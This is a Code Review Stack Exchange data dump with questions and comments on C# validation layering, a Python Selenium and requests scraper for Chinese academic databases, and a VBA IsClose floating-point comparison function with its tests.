"CreationDate": "2021-07-07T01:54:28.730",
"Id": "520949",
"Score": "0",
"body": "Yes, This is a repeat question. I had worked on improving the code however, I had so many errors and I am not a great developer I admit! The code works as it is; I was hoping if the community can __code__ it better. Apologies for the repeat however I hope you understand why I have posted it again."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T02:55:21.873",
"Id": "520951",
"Score": "1",
"body": "I mean... the community isn't specifically for coding it better, but rather telling you how to code it better. Unless you vote one way or another on the answer to your first question I have no evidence that you're actually reading what I write. Please also read through https://codereview.stackexchange.com/questions/263433/scraping-oddsportal-with-requests-only ."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T03:23:03.177",
"Id": "520954",
"Score": "0",
"body": "You are correct! However, I will have to learn quite a bit of platforms to really digest the code posted there. Can you help improve the code using mostly pandas and beautifulsoup as I seem to digest these platforms with relativel less effort and investment. Though I admit, I should be on top of the code, my apologies for not being so."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T07:53:53.027",
"Id": "520964",
"Score": "0",
"body": "The methods you have are quite big, code really needs to flow, like a story in a book or a poem... it's an art. The goal is to make it simple enough for any english speaking individual to understand what it is about. I tend to ask my self: what will my partner say about my code?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-08T19:18:49.387",
"Id": "521056",
"Score": "0",
"body": "Since you are already using **Pandas**, you should be populating a **dataframe** as you loop on URLs. No need for those list variables right ?"
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T00:18:46.340",
"Id": "263825",
"Score": "1",
"Tags": [
"python",
"web-scraping",
"pandas",
"selenium"
],
"Title": "Optimising this web-scraping code"
}
|
263825
|
<p>I have this method in Web Api layer.</p>
<pre><code>[HttpPost("add", Name = "AddCampaign")]
[ProducesResponseType(StatusCodes.Status201Created)]
[ProducesResponseType(StatusCodes.Status400BadRequest)]
[ProducesResponseType(StatusCodes.Status500InternalServerError)]
public async Task<ActionResult<CampaignDTOResponse>> AddCampaign([FromBody] CampaignDTORequest newCampaign)
{
try
{
// Note: Should this be here or service?
if (_campaignService.IsCampaignTitleUnique(newCampaign.Title) == false)
{
return BadRequest("The campaign title needs to be unique");
}
if (newCampaign.StartDate.Equals(DateTime.MinValue))
{
return BadRequest("Start Date cannot be null or empty.");
}
var campaign = _mapper.Map<Campaign>(newCampaign);
campaign = await _campaignService.AddCampaignAsync(campaign);
if (campaign == null) {
return BadRequest("Invalid request.");
}
var campaignDtoResponse = _mapper.Map<CampaignDTOResponse>(campaign);
return CreatedAtAction(nameof(GetCampaignById), new { id = campaignDtoResponse.Id }, campaignDtoResponse);
}
catch (Exception ex)
{
_logger.LogError(0, ex, ex.Message);
return Problem(ex.Message);
}
}
</code></pre>
<p>and in the service layer, I have method below.</p>
<pre><code>public async Task<Campaign> AddCampaignAsync(Campaign campaign)
{
if (IsCampaignTitleUnique(campaign.Title) == false)
{
return null;
}
if (campaign.EndDate != null) {
if (campaign.StartDate > campaign.EndDate)
{
return null;
}
}
await _context.Campaigns.AddAsync(campaign);
await _context.SaveChangesAsync();
return campaign;
}
</code></pre>
<p>Would appreciate code review for these 2 methods in Web Api and service layer. Should my method <code>IsCampaignTitleUnique</code> be at Web Api layer or service layer? Is it correct validation of method argument like null be at Web Api layer but <code>campaign.StartDate > campaign.EndDate</code> at service layer?</p>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T02:38:29.090",
"Id": "520950",
"Score": "1",
"body": "`IsCampaignTitleUnique` should be in the service layer. The Api layer, should only focus on validating and processing the `Http` requests. While in the service layer, should focus on processing and validating the integrities (aka entities) based on the business requirements."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T07:05:34.690",
"Id": "520961",
"Score": "2",
"body": "`IsCampaignTitleUnique(campaign.Title) == false` is not how this is usually written in C#. I'd expect `!IsCampaignTitleUnique(campaign.Title)` (or you can inverse the logic of the method, e.g. `IsCampaignTitleNotUnique(campaign.Title)` or `IsCampaignTitleInUse(campaign.Title)`)"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T07:11:19.720",
"Id": "520962",
"Score": "0",
"body": "@BCdotWEB, I read somewhere that it is easier to read with `== false` compare to using `!`. I think because that tiny `!` is easy to miss out."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T10:53:20.543",
"Id": "520978",
"Score": "1",
"body": "@SteveNgai _because that tiny ! is easy to miss out_ Entire .NET Runtime written with `!` instead of `== false`. The problem you observed doesn't exist."
}
] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T00:49:29.517",
"Id": "263826",
"Score": "0",
"Tags": [
"c#"
],
"Title": "Validation in Web Api layer or Service layer"
}
|
263826
|
<p>This is a follow-up of my question over <a href="https://codereview.stackexchange.com/q/263474/242934">here</a>.</p>
<h1>Response to @Reinderien's <a href="https://codereview.stackexchange.com/a/263820/242934">answer</a>:</h1>
<p>I have corrected the more trivial issues highlighted in @Reinderien's answer below as follows. <code>qinghua</code>'s search engine is perpetually down and <code>fudan</code>'s server is super slow; so we use the other 2 for the test.</p>
<p>I would like to seek further advise as to how to go about:</p>
<blockquote>
<p>class-ify(ing) any session-level state, and keep that state alive across multiple searches for a given database</p>
</blockquote>
<p>Also, whether or not the implementation of an abstract base class can be used to save reusable code in this case and how that can be implemented.</p>
<hr />
<h1>The Code:</h1>
<h2>main.py</h2>
<pre class="lang-py prettyprint-override"><code>import cnki, fudan, wuhan, qinghua
import json
from typing import Iterable, Tuple
from pathlib import Path
DB_DICT = {
"cnki": cnki.search,
"fudan": fudan.search,
"wuhan": wuhan.search,
"qinghua": qinghua.search,
}
def save_articles(articles: Iterable, file_prefix: str) -> None:
file_path = Path(file_prefix).with_suffix('.json')
with file_path.open('w') as file:
file.write('[\n')
first = True
for article in articles:
if first:
first = False
else:
file.write(',\n')
json.dump(article.as_dict(), file, ensure_ascii=False, indent=4)
file.write('\n]\n')
def db_search(keyword: str, *args: Tuple[str]):
if args:
for db in args:
yield from DB_DICT[db](keyword)
else:
for key in DB_DICT.keys():
yield from DB_DICT[key](keyword)
def search(keywords: Tuple[str], *args: Tuple[str]):
for kw in keywords:
yield from db_search(kw, *args)
if __name__ == '__main__':
rslt = search(['尹誥','尹至'], 'cnki', 'wuhan')
save_articles(rslt, 'search_result')
</code></pre>
<h2>cnki.py</h2>
<pre class="lang-py prettyprint-override"><code>from contextlib import contextmanager
from dataclasses import dataclass
from datetime import date
from pathlib import Path
from typing import Generator, Iterable, Optional, List, ContextManager, Dict, Tuple
from urllib.parse import unquote
from itertools import chain, count
import re
import json
from math import ceil
# pip install proxy.py
import proxy
from proxy.http.exception import HttpRequestRejected
from proxy.http.parser import HttpParser
from proxy.http.proxy import HttpProxyBasePlugin
from selenium.common.exceptions import (
NoSuchElementException,
StaleElementReferenceException,
TimeoutException,
WebDriverException,
)
from selenium.webdriver import Firefox, FirefoxProfile
from selenium.webdriver.common.by import By
from selenium.webdriver.common.proxy import ProxyType
from selenium.webdriver.remote.webdriver import WebDriver
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait
# from urllib3.packages.six import X
@dataclass
class Result:
title: str # Mozi's Theory of Human Nature and Politics
title_link: str # http://big5.oversea.cnki.net/kns55/detail/detail.aspx?recid=&FileName=ZDXB202006009&DbName=CJFDLAST2021&DbCode=CJFD
html_link: Optional[str] # http%3a%2f%2fkns.cnki.net%2fKXReader%2fDetail%3fdbcode%3dCJFD%26filename%3dZDXB202006009
author: str # Xie Qiyang
source: str # Vocational University News
source_link: str # http://big5.oversea.cnki.net/kns55/Navi/ScdbBridge.aspx?DBCode=CJFD&BaseID=ZDXB&UnitCode=&NaviLink=%e8%81%8c%e5%a4%a7%e5%ad%a6%e6%8a%a5
date: date # 2020-12-28
download: str #
database: str # Periodical
@classmethod
def from_row(cls, row: WebElement) -> 'Result':
number, title, author, source, published, database = row.find_elements_by_xpath('td')
title_links = title.find_elements_by_tag_name('a')
if len(title_links) > 1:
# 'http://big5.oversea.cnki.net/kns55/ReadRedirectPage.aspx?flag=html&domain=http%3a%2f%2fkns.cnki.net%2fKXReader%2fDetail%3fdbcode%3dCJFD%26filename%3dZDXB202006009'
html_link = unquote(
title_links[1]
.get_attribute('href')
.split('domain=', 1)[1])
else:
html_link = None
dl_links, sno = number.find_elements_by_tag_name('a')
dl_links = dl_links.get_attribute('href')
if re.search("javascript:alert.+", dl_links):
dl_links = None
published_date = date.fromisoformat(
published.text.split(maxsplit=1)[0]
)
return cls(
title=title_links[0].text,
title_link=title_links[0].get_attribute('href'),
html_link=html_link,
author=author.text,
source=source.text,
source_link=source.get_attribute('href'),
date=published_date,
download=dl_links,
database=database.text,
)
def __str__(self):
return (
f'題名 {self.title}'
f'\n作者 {self.author}'
f'\n來源 {self.source}'
f'\n發表時間 {self.date}'
f'\n下載連結 {self.download}'
f'\n來源數據庫 {self.database}'
)
def as_dict(self) -> Dict[str, str]:
return {
'author': self.author,
'title': self.title,
'publication': self.source,
'date': self.date.isoformat(),
'download': self.download,
'url': self.html_link,
'database': self.database,
}
class MainPage:
def __init__(self, driver: WebDriver):
self.driver = driver
def submit_search(self, keyword: str) -> None:
wait = WebDriverWait(self.driver, 50)
search = wait.until(
EC.presence_of_element_located((By.NAME, 'txt_1_value1'))
)
search.send_keys(keyword)
search.submit()
def switch_to_frame(self) -> None:
wait = WebDriverWait(self.driver, 100)
wait.until(
EC.presence_of_element_located((By.XPATH, '//iframe[@name="iframeResult"]'))
)
self.driver.switch_to.default_content()
self.driver.switch_to.frame('iframeResult')
wait.until(
EC.presence_of_element_located((By.XPATH, '//table[@class="GridTableContent"]'))
)
def max_content(self) -> None:
"""Maximize the number of items on display in the search results."""
max_content = self.driver.find_element(
By.CSS_SELECTOR, '#id_grid_display_num > a:nth-child(3)',
)
max_content.click()
# def get_element_and_stop_page(self, *locator) -> WebElement:
# ignored_exceptions = (NoSuchElementException, StaleElementReferenceException)
# wait = WebDriverWait(self.driver, 30, ignored_exceptions=ignored_exceptions)
# elm = wait.until(EC.presence_of_element_located(locator))
# self.driver.execute_script("window.stop();")
# return elm
class SearchResults:
def __init__(self, driver: WebDriver):
self.driver = driver
def number_of_articles_and_pages(self) -> Tuple[
int, # articles
int, # pages
int, # page size
]:
articles_elem = self.driver.find_element_by_css_selector('td.TitleLeftCell td')
n_articles = int(re.search(r"\d+", articles_elem.text)[0])
page_elem = self.driver.find_element_by_css_selector('font.numNow')
per_page = int(page_elem.text)
n_pages = ceil(n_articles / per_page)
return n_articles, n_pages
def get_structured_elements(self) -> Iterable[Result]:
rows = self.driver.find_elements_by_xpath(
'//table[@class="GridTableContent"]//tr[position() > 1]'
)
for row in rows:
yield Result.from_row(row)
def get_element_and_stop_page(self, *locator) -> WebElement:
ignored_exceptions = (NoSuchElementException, StaleElementReferenceException)
wait = WebDriverWait(self.driver, 30, ignored_exceptions=ignored_exceptions)
elm = wait.until(EC.presence_of_element_located(locator))
self.driver.execute_script("window.stop();")
return elm
def next_page(self) -> None:
link = self.get_element_and_stop_page(By.LINK_TEXT, "下頁")
try:
link.click()
print("Navigating to Next Page")
except (TimeoutException, WebDriverException):
print("Last page reached")
class ContentFilterPlugin(HttpProxyBasePlugin):
HOST_WHITELIST = {
b'ocsp.digicert.com',
b'ocsp.sca1b.amazontrust.com',
b'big5.oversea.cnki.net',
}
def handle_client_request(self, request: HttpParser) -> Optional[HttpParser]:
host = request.host or request.header(b'Host')
if host not in self.HOST_WHITELIST:
raise HttpRequestRejected(403)
if any(
suffix in request.path
for suffix in (
b'png', b'ico', b'jpg', b'gif', b'css',
)
):
raise HttpRequestRejected(403)
return request
def before_upstream_connection(self, request):
return super().before_upstream_connection(request)
def handle_upstream_chunk(self, chunk):
return super().handle_upstream_chunk(chunk)
def on_upstream_connection_close(self):
pass
@contextmanager
def run_driver() -> ContextManager[WebDriver]:
prox_type = ProxyType.MANUAL['ff_value']
prox_host = '127.0.0.1'
prox_port = 8889
profile = FirefoxProfile()
profile.set_preference('network.proxy.type', prox_type)
profile.set_preference('network.proxy.http', prox_host)
profile.set_preference('network.proxy.ssl', prox_host)
profile.set_preference('network.proxy.http_port', prox_port)
profile.set_preference('network.proxy.ssl_port', prox_port)
profile.update_preferences()
plugin = f'{Path(__file__).stem}.{ContentFilterPlugin.__name__}'
with proxy.start((
'--hostname', prox_host,
'--port', str(prox_port),
'--plugins', plugin,
)), Firefox(profile) as driver:
yield driver
def loop_through_results(driver):
result_page = SearchResults(driver)
n_articles, n_pages = result_page.number_of_articles_and_pages()
print(f"{n_articles} found. A maximum of 500 will be retrieved.")
for page in count(1):
print(f"Scraping page {page}/{n_pages}")
print()
result = result_page.get_structured_elements()
yield from result
if page >= n_pages or page >= 10:
break
result_page.next_page()
result_page = SearchResults(driver)
def save_articles(articles: Iterable, file_prefix: str) -> None:
file_path = Path(file_prefix).with_suffix('.json')
with file_path.open('w') as file:
file.write('[\n')
first = True
for article in articles:
if first:
first = False
else:
file.write(',\n')
json.dump(article.as_dict(), file, ensure_ascii=False, indent=4)
file.write('\n]\n')
def query(keyword, driver) -> None:
page = MainPage(driver)
page.submit_search(keyword)
page.switch_to_frame()
page.max_content()
def search(keyword):
with run_driver() as driver:
driver.get('http://big5.oversea.cnki.net/kns55/')
query(keyword, driver)
print("正在搜尋中國期刊網……")
print(f"關鍵字:「{keyword}」")
result = loop_through_results(driver)
# save_articles(result, 'cnki_search_result.json')
yield from result
if __name__ == '__main__':
search('尹至')
</code></pre>
<h2>qinghua.py</h2>
<p><em>Search functionality is down at the moment. Planning the try out with <code>Requests</code> as soon as it is up and running.</em></p>
<pre class="lang-py prettyprint-override"><code>from contextlib import contextmanager
from dataclasses import dataclass, asdict, replace
from datetime import datetime, date
from pathlib import Path
from typing import Iterable, Optional, ContextManager
import re
import os
import time
import json
# pip install proxy.py
import proxy
from proxy.http.exception import HttpRequestRejected
from proxy.http.parser import HttpParser
from proxy.http.proxy import HttpProxyBasePlugin
from selenium.common.exceptions import (
NoSuchElementException,
StaleElementReferenceException,
TimeoutException,
WebDriverException,
)
from selenium.webdriver import Firefox, FirefoxProfile
from selenium.webdriver.common.action_chains import ActionChains
from selenium.webdriver.common.by import By
from selenium.webdriver.common.proxy import ProxyType
from selenium.webdriver.remote.webdriver import WebDriver
from selenium.webdriver.remote.webelement import WebElement
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.support.ui import WebDriverWait
@dataclass
class PrimaryResult:
captions: str
date: date
link: str
publication:str = "清華大學出土文獻研究與保護中心"
@classmethod
def from_row(cls, row: WebElement) -> 'PrimaryResult':
caption_elems = row.find_element_by_tag_name('a')
date_elems = row.find_element_by_class_name('time')
published_date = date.isoformat(datetime.strptime(date_elems.text, '%Y-%m-%d'))
return cls(
captions = caption_elems.text,
date = published_date,
link = caption_elems.get_attribute('href'),
)
def __str__(self):
return (
f'\n標題 {self.captions}'
f'\n發表時間 {self.date}'
f'\n文章連結 {self.link}'
)
class MainPage:
def __init__(self, driver: WebDriver):
self.driver = driver
def submit_search(self, keyword: str) -> None:
driver = self.driver
wait = WebDriverWait(self.driver, 100)
xpath = "//form/button/input"
element_to_hover_over = driver.find_element_by_xpath(xpath)
hover = ActionChains(driver).move_to_element(element_to_hover_over)
hover.perform()
search = wait.until(
EC.presence_of_element_located((By.ID, 'showkeycode1015273'))
)
search.send_keys(keyword)
search.submit()
def get_element_and_stop_page(self, *locator) -> WebElement:
ignored_exceptions = (NoSuchElementException, StaleElementReferenceException)
wait = WebDriverWait(self.driver, 30, ignored_exceptions=ignored_exceptions)
elm = wait.until(EC.presence_of_element_located(locator))
self.driver.execute_script("window.stop();")
return elm
def next_page(self) -> None:
try:
link = self.get_element_and_stop_page(By.LINK_TEXT, "下一页")
link.click()
print("Navigating to Next Page")
except (TimeoutException, WebDriverException):
print("No button with 「下一页」 found.")
return 0
# @contextmanager
# def wait_for_new_window(self):
# driver = self.driver
# handles_before = driver.window_handles
# yield
# WebDriverWait(driver, 10).until(
# lambda driver: len(handles_before) != len(driver.window_handles))
def switch_tabs(self):
driver = self.driver
print("Current Window:")
print(driver.title)
print()
p = driver.current_window_handle
chwd = driver.window_handles
time.sleep(3)
driver.switch_to.window(chwd[1])
print("New Window:")
print(driver.title)
print()
class SearchResults:
def __init__(self, driver: WebDriver):
self.driver = driver
def get_primary_search_result(self):
filePath = os.path.join(os.getcwd(), "qinghua_primary_search_result.json")
if os.path.exists(filePath):
os.remove(filePath)
rows = self.driver.find_elements_by_xpath('//ul[@class="search_list"]/li')
for row in rows:
rslt = PrimaryResult.from_row(row)
with open('qinghua_primary_search_result.json', 'a') as file:
json.dump(asdict(rslt), file, ensure_ascii=False, indent=4)
yield rslt
# class ContentFilterPlugin(HttpProxyBasePlugin):
# HOST_WHITELIST = {
# b'ocsp.digicert.com',
# b'ocsp.sca1b.amazontrust.com',
# b'big5.oversea.cnki.net',
# b'gwz.fudan.edu.cn',
# b'bsm.org.cn/index.php'
# b'ctwx.tsinghua.edu.cn',
# }
# def handle_client_request(self, request: HttpParser) -> Optional[HttpParser]:
# host = request.host or request.header(b'Host')
# if host not in self.HOST_WHITELIST:
# raise HttpRequestRejected(403)
# if any(
# suffix in request.path
# for suffix in (
# b'png', b'ico', b'jpg', b'gif', b'css',
# )
# ):
# raise HttpRequestRejected(403)
# return request
# def before_upstream_connection(self, request):
# return super().before_upstream_connection(request)
# def handle_upstream_chunk(self, chunk):
# return super().handle_upstream_chunk(chunk)
# def on_upstream_connection_close(self):
# pass
# @contextmanager
# def run_driver() -> ContextManager[WebDriver]:
# prox_type = ProxyType.MANUAL['ff_value']
# prox_host = '127.0.0.1'
# prox_port = 8889
# profile = FirefoxProfile()
# profile.set_preference('network.proxy.type', prox_type)
# profile.set_preference('network.proxy.http', prox_host)
# profile.set_preference('network.proxy.ssl', prox_host)
# profile.set_preference('network.proxy.http_port', prox_port)
# profile.set_preference('network.proxy.ssl_port', prox_port)
# profile.update_preferences()
# plugin = f'{Path(__file__).stem}.{ContentFilterPlugin.__name__}'
# with proxy.start((
# '--hostname', prox_host,
# '--port', str(prox_port),
# '--plugins', plugin,
# )), Firefox(profile) as driver:
# yield driver
def search(keyword) -> None:
print("正在搜尋清華大學出土文獻研究與保護中心網……")
print(f"關鍵字:「{keyword}」")
with Firefox() as driver:
driver.get('http://www.ctwx.tsinghua.edu.cn/index.htm')
page = MainPage(driver)
# page.select_dropdown_item()
page.submit_search(keyword)
time.sleep(5)
# page.switch_tabs()
while True:
primary_result_page = SearchResults(driver)
primary_results = primary_result_page.get_primary_search_result()
yield from primary_results
# for result in primary_results:
# print(result)
# print()
if page.next_page() == 0:
break
else:
pass
if __name__ == '__main__':
search('尹至')
</code></pre>
<h2>fudan.py</h2>
<pre class="lang-py prettyprint-override"><code># fudan.py
from dataclasses import dataclass
from itertools import count
from pathlib import Path
from typing import Dict, Iterable, Tuple, List, Optional
from urllib.parse import urljoin
from bs4 import BeautifulSoup
from requests import Session
from datetime import date, datetime
import json
import re
BASE_URL = 'http://www.gwz.fudan.edu.cn'
@dataclass
class Link:
caption: str
url: str
clicks: int
replies: int
added: date
@classmethod
def from_row(cls, props: Dict[str, str], path: str) -> 'Link':
clicks, replies = props['点击/回复'].split('/')
# Skip number=int(props['编号']) - this only has meaning within one page
return cls(
caption=props['资源标题'],
url=urljoin(BASE_URL, path),
clicks=int(clicks),
replies=int(replies),
added=datetime.strptime(props['添加时间'], '%Y/%m/%d').date(),
)
def __str__(self):
return f'{self.added} {self.url} {self.caption}'
def author_title(self) -> Tuple[Optional[str], str]:
sep = ':' # full-width colon, U+FF1A
if sep not in self.caption:
return None, self.caption
author, title = self.caption.split(sep, 1)
author, title = author.strip(), title.strip()
net_digest = '網摘'
if author == net_digest:
return None, self.caption
return author, title
@dataclass
class Article:
author: Optional[str]
title: str
date: date
download: Optional[str]
url: str
publication: str = "復旦大學出土文獻與古文字研究中心學者文庫"
@classmethod
def from_link(cls, link: Link, download: str) -> 'Article':
author, title = link.author_title()
download = download.replace("\r", "").replace("\n", "").strip()
if download == '#_edn1':
download = None
elif download[0] != '/':
download = '/' + download
return cls(
author=author,
title=title,
date=link.added,
download=download,
url=link.url,
)
def __str__(self) -> str:
return(
f"\n作者 {self.author}"
f"\n標題 {self.title}"
f"\n發佈日期 {self.date}"
f"\n下載連結 {self.download}"
f"\n訪問網頁 {self.url}"
)
def as_dict(self) -> Dict[str, str]:
return {
'author': self.author,
'title': self.title,
'date': self.date.isoformat(),
'download': self.download,
'url': self.url,
'publication': self.publication
}
def compile_search_results(session: Session, links: Iterable[Link], category_filter: str) -> Iterable[Article]:
for link in links:
with session.get(link.url) as resp:
resp.raise_for_status()
doc = BeautifulSoup(resp.text, 'html.parser')
category = doc.select_one('#_top td a[href="#"]').text
if category != category_filter:
continue
content = doc.select_one('span.ny_font_content')
dl_tag = content.find(
'a', {
'href': re.compile("/?(lunwen/|articles/up/).+")
}
)
yield Article.from_link(link, download=dl_tag['href'])
def get_page(session: Session, query: str, page: int) -> Tuple[List[Link], int]:
with session.get(
urljoin(BASE_URL, '/Web/Search'),
params={
's': query,
'page': page,
},
) as resp:
resp.raise_for_status()
doc = BeautifulSoup(resp.text, 'html.parser')
table = doc.select_one('#tab table')
heads = [h.text for h in table.select('tr.cap td')]
links = []
for row in table.find_all('tr', class_=''):
cells = [td.text for td in row.find_all('td')]
links.append(Link.from_row(
props=dict(zip(heads, cells)),
path=row.find('a')['href'],
))
page_td = doc.select_one('#tab table:nth-child(2) td') # 共 87 条记录, 页 1/3
n_pages = int(page_td.text.rsplit('/', 1)[1])
return links, n_pages
def get_all_links(session: Session, query: str) -> Iterable[Link]:
for page in count(1):
links, n_pages = get_page(session, query, page)
print(f'Scraping page {page}/{n_pages}')
yield from links
if page >= n_pages:
break
def save_articles(articles: Iterable[Article], file_prefix: str) -> None:
file_path = Path(file_prefix).with_suffix('.json')
with file_path.open('w') as file:
file.write('[\n')
first = True
for article in articles:
if first:
first = False
else:
file.write(',\n')
json.dump(article.as_dict(), file, ensure_ascii=False, indent=4)
file.write('\n]\n')
def search(keyword):
print("正在搜尋復旦大學出土文獻與古文字研究中心學者文庫……")
print(f"關鍵字:「{keyword}」")
with Session() as session:
links = get_all_links(session, query=keyword)
academic_library = '学者文库'
articles = compile_search_results(
session, links, category_filter=academic_library)
# save_articles(articles, 'fudan_search_result')
yield from articles
if __name__ == '__main__':
search('尹誥')
</code></pre>
<h2>wuhan.py</h2>
<pre class="lang-py prettyprint-override"><code>from dataclasses import dataclass, asdict
from itertools import count
from typing import Dict, Iterable, Tuple, List
from bs4 import BeautifulSoup
from requests import post
from datetime import date, datetime
import json
import os
import re
@dataclass
class Result:
author: str
title: str
date: date
url: str
publication: str = "武漢大學簡帛網"
@classmethod
def from_metadata(cls, metadata: Dict) -> 'Result':
author, title = metadata['caption'].split(':')
published_date = date.isoformat(datetime.strptime(metadata['date'], '%y/%m/%d'))
url = 'http://www.bsm.org.cn/' + metadata['url']
return cls(
author = author,
title = title,
date = published_date,
url = url
)
def __str__(self):
return (
f'作者 {self.author}'
f'\n標題 {self.title}'
f'\n發表時間 {self.date}'
f'\n文章連結 {self.url}'
f'\n發表平台 {self.publication}'
)
def submit_query(keyword: str):
query = {"searchword": keyword}
with post('http://www.bsm.org.cn/pages.php?pagename=search', query) as resp:
resp.raise_for_status()
doc = BeautifulSoup(resp.text, 'html.parser')
content = doc.find('div', class_='record_list_main')
rows = content.select('ul')
for row in rows:
if len(row.findAll('li')) != 2:
print()
print(row.text)
print()
else:
captions_tag, date_tag = row.findAll('li')
caption_anchors = captions_tag.findAll('a')
category, caption = [item.text for item in caption_anchors]
url = caption_anchors[1]['href']
date = re.sub("[()]", "", date_tag.text)
yield {
"category": category,
"caption": caption,
"date": date,
"url": url}
def remove_json_if_exists(filename):
json_file = filename + ".json"
filePath = os.path.join(os.getcwd(), json_file)
if os.path.exists(filePath):
os.remove(filePath)
def search(query: str):
remove_json_if_exists('wuhan_search_result')
rslt = submit_query(query)
for metadata in rslt:
article = Result.from_metadata(metadata)
print(article)
print()
with open('wuhan_search_result.json', 'a') as file:
json.dump(asdict(article), file, ensure_ascii=False, indent=4)
if __name__ == '__main__':
search('尹至')
</code></pre>
|
[] |
[] |
{
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2021-07-07T10:56:32.640",
"Id": "263834",
"Score": "1",
"Tags": [
"python",
"web-scraping",
"selenium"
],
"Title": "Organizing things together to form a minimum viable Scraper App (part 2)"
}
|
263834
|
<p><sub><em>latest updated version in <a href="https://stackoverflow.com/a/68291403/6609896">cross-post</a> from SO</em></sub></p>
<p>I'm testing performance regression of some code I wrote (this is not that code) by timing its execution in Unit tests. I would like to see if execution time equals some expected value within a given degree of accuracy, e.g. <1% change. VBA doesn't have this built in as far as I'm aware, so I wrote this function, inspired by Python's <a href="https://github.com/python/cpython/blob/17f94e28882e1e2b331ace93f42e8615383dee59/Modules/mathmodule.c#L2962-L3003" rel="nofollow noreferrer"><code>math.isclose</code></a> function (but translating to VBA may have introduced some bugs/ required a few nuances):</p>
<h3 id="testutils.bas-del6"><code>TestUtils.bas</code></h3>
<pre class="lang-vb prettyprint-override"><code>'@NoIndent: Don't want to lose our description annotations
'@IgnoreModule UnhandledOnErrorResumeNext: Just noise for one-liners
'@Folder("Tests.Utils")
Option Explicit
Option Private Module
'Based on Python's math.isclose https://github.com/python/cpython/blob/17f94e28882e1e2b331ace93f42e8615383dee59/Modules/mathmodule.c#L2962-L3003
'math.isclose -> boolean
' a: double
' b: double
' relTol: double = 1e-09
' maximum difference for being considered "close", relative to the
' magnitude of the input values
' absTol: double = 0.0
' maximum difference for being considered "close", regardless of the
' magnitude of the input values
'Determine whether two floating point numbers are close in value.
'Return True if a is close in value to b, and False otherwise.
'For the values to be considered close, the difference between them
'must be smaller than at least one of the tolerances.
'-inf, inf and NaN behave similarly to the IEEE 754 Standard. That
'is, NaN is not close to anything, even itself. inf and -inf are
'only close to themselves. In keeping with existing VBA behaviour,
'comparison with NaN will also raise an overflow error.
'@Description("Determine whether two floating point numbers are close in value, accounting for special values in IEEE 754")
Public Function IsClose(ByVal a As Double, ByVal b As Double, _
Optional ByVal relTol As Double = 0.000000001, _
Optional ByVal absTol As Double = 0 _
) As Boolean
If relTol < 0# Or absTol < 0# Then
'sanity check on the inputs
Err.Raise 5, Description:="tolerances must be non-negative"
ElseIf a = b Then
'short circuit exact equality -- needed to catch two infinities of
'the same sign. And perhaps speeds things up a bit sometimes.
IsClose = True
Exit Function
ElseIf IsInfinity(a) Or IsInfinity(b) Then
'This catches the case of two infinities of opposite sign, or
'one infinity and one finite number. Two infinities of opposite
'sign would otherwise have an infinite relative tolerance.
'Two infinities of the same sign are caught by the equality check
'above.
IsClose = False
Exit Function
Else
'Now do the regular computation on finite arguments. Here an
'infinite tolerance will always result in the function returning True,
'since an infinite difference will be <= to the infinite tolerance.
'This is to supress overflow errors as we deal with infinity.
'NaN has already been filtered out in the equality checks earlier.
On Error Resume Next
Dim diff As Double
diff = Abs(b - a)
If diff <= absTol Then
IsClose = True
Exit Function
End If
'VBA requires writing the result of Abs(relTol * x) to a variable
'in order to determine whether it is infinite
Dim tol As Double
tol = Abs(relTol * b)
If diff <= tol Then
IsClose = True
Exit Function
End If
tol = Abs(relTol * a)
If diff <= tol Then
IsClose = True
Exit Function
End If
End If
End Function
'@Description("Checks if Number is IEEE754 +/-inf, won't raise an error")
Public Function IsInfinity(ByVal Number As Double) As Boolean
On Error Resume Next 'in case of NaN
IsInfinity = Abs(Number) = PosInf
End Function
'@Description("IEEE754 -inf")
Public Static Property Get NegInf() As Double
On Error Resume Next
NegInf = -1 / 0
End Property
'@Description("IEEE754 signaling NaN (sNaN)")
Public Static Property Get NaN() As Double
On Error Resume Next
NaN = 0 / 0
End Property
'@Description("IEEE754 +inf")
Public Static Property Get PosInf() As Double
On Error Resume Next
PosInf = 1 / 0
End Property
</code></pre>
<p>As you can see, I've decided to handle +/- inf and NaN for (I think) more complete coverage, although for my purposes of timing code these values of course have no physical interpretation.</p>
<p>Usage is simple:</p>
<pre class="lang-vb prettyprint-override"><code>?IsClose(1, 1.1, 0.1) '-> True; 10% relative tol
?IsClose(1, 1.1, 0.01) '-> False; 1% relative tol
?IsClose(measuredSeconds, expectedSeconds, absTol:= 1e-6) '± 1μs accuracy
</code></pre>
<p><em><strong>Feedback</strong></em> on edge cases/ approach would be great - e.g. not sure if it's better design to allow for overflow errors in the <code>diff</code> calculation <code>Abs(b-a)</code> since on the one hand IEE754 says that double overflow should result in infinity, and therefore IsClose will always be False since diff is infinite. But what if absTol is also infinite (or relTol>1 and a or b are inf)? Then we expect True regardless of diff.</p>
<p>Also line by line style things would be fantastic - especially comments, naming and other hard stuff.</p>
<p>Finally, here are my unit tests, I'd like feedback on these too if possible; I've lumped many into one, but the message is sufficient granularity to identify failing tests so I don't think splitting tests up would help:</p>
<h3 id="isclosetests.bas-47n5"><code>IsCloseTests.bas</code></h3>
<pre class="lang-vb prettyprint-override"><code>Option Explicit
Option Private Module
'@TestModule
'@Folder "Tests.Utils.Tests"
Private Assert As Rubberduck.PermissiveAssertClass
'@ModuleInitialize
Private Sub ModuleInitialize()
'this method runs once per module.
Set Assert = New Rubberduck.PermissiveAssertClass
End Sub
